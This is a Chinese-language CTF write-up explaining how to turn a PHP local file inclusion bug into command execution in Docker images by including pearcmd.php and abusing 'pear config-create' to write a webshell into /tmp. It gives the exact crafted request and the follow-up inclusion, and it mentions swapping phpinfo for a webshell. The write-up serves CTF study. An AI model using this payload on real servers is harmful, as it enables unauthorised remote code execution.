在 ctf 中,常常有这样一类题:
题目很简单,一般围绕一个 include 函数展开。
例:
ctfshow 元旦水友赛 easy_include
这类题目没有提供文件上传点,因此不能使用常规方法上传一句话实现命令执行。
裸文件包含是一种针对这类题目的解题手法。
这里引入大佬的文章:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
后面我的研究很多都是基于这篇文章的。
由于没有文件上传点,我们只能利用靶机本身的一些特殊文件的特性写入一句话实现命令执行。
常规的用法是日志文件包含,日志文件有以下特点
但是在 ctf 环境中,题目大多为 docker 环境,docker 环境下的日志会有很多变数(具体参考上面大佬的文章)
那么,docker 环境下,有没有什么更加普适性的方法来实现文件包含+命令执行呢?
接下来就要引出一个docker环境下很大概率会有的一个工具—— pear包管理系统
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定
--with-pear
才会安装。不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在
/usr/local/lib/php
。
PEAR(PHP Extension and Application Repository)
这是一个PHP 的包管理系统,用于安装和管理 PHP 扩展和库。
PEAR 包管理器通常使用 pear
命令来执行各种操作,例如安装、更新和删除 PHP 包。
我们关注这样一条命令
pear config-create <directory> <filename>
这个命令使用了 config-create 模式,表明要创建一个配置文件
其中,如果我们把
这样,pear就会在 tmp 目录下创建一个包含一句话木马的配置文件。此时,我们再利用 ctf 题目本身的文件包含,包含这个一句话就能实现远控了。
那么,怎么调用到这个 pear 命令行工具呢?
pearcmd.php 的默认路径是 /usr/local/lib/php/pearcmd.php
这个文件的第64行 调用了一个 readPHPArgv() 方法来获取参数
https://github.com/AppStateESS/phpwebsite/blob/master/lib/pear/pearcmd.php
这个方法在 Getopt.php 的第273行定义
https://github.com/AppStateESS/phpwebsite/blob/master/lib/pear/Console/Getopt.php
function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
return PEAR::raiseError("Console_Getopt: Could not read cmd args (register_argc_argv=Off?)");
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
这个函数先尝试获取
$argv
,如果不存在就再尝试$_SERVER['argv']
,后者我们可通过query-string控制。
$argv 是命令行输入的参数,在ctf场景几乎用不到这个条件。
关键是这个 $_SERVER['argv']
,这是我们可以控制的
大佬原文的 0x06 的部分提到了这个参数的读取原理
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
docker环境下的 php.ini 会默认开启 register_argc_argv 这个配置
开启这个配置之后,我们get请求的参数就会被读取进 $_SERVER['argv'] 里
像这样
我们能在 phpinfo 里看到这个 $_SERVER['argv'] 的值
假设题目为:
<?php include($_GET['file']); ?>
那么我们可以构造如下请求(方便演示,这里写入 phpinfo )
/test.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php<?=phpinfo()?>+/tmp/hello.php
此时,服务端接收到的 $_SERVER[‘argv’] 参数就会是这种形式
这里有个坑:请求里的尖括号会被url编码
可以使用burp抓包,并直接修改回原来的符号
由于包含了 pearcmd.php ,那么接收到的参数就会传入pear工具,等价于执行以下命令:
pear config-create /&file=/usr/local/lib/php/pearcmd.php<?=phpinfo()?> /tmp/hello.php
执行这条命令后,会在 /tmp
目录下创建一个hello.php
的文件,这个文件里面就会带有上面那条命令里的第二个参数(含有一句话木马的字符串)
执行成功后一般会返回如下页面
此时再文件包含生成的 /tmp/hello.php
,即可执行 phpinfo() 命令
/test.php?file=/tmp/hello.php
坑点:如果包含文件后发现尖括号被编码了,像这样
那么就不要用浏览器发起请求,直接用 burp 抓包修改回尖括号
同理,phpinfo 换成经典一句话,就可以实现命令执行。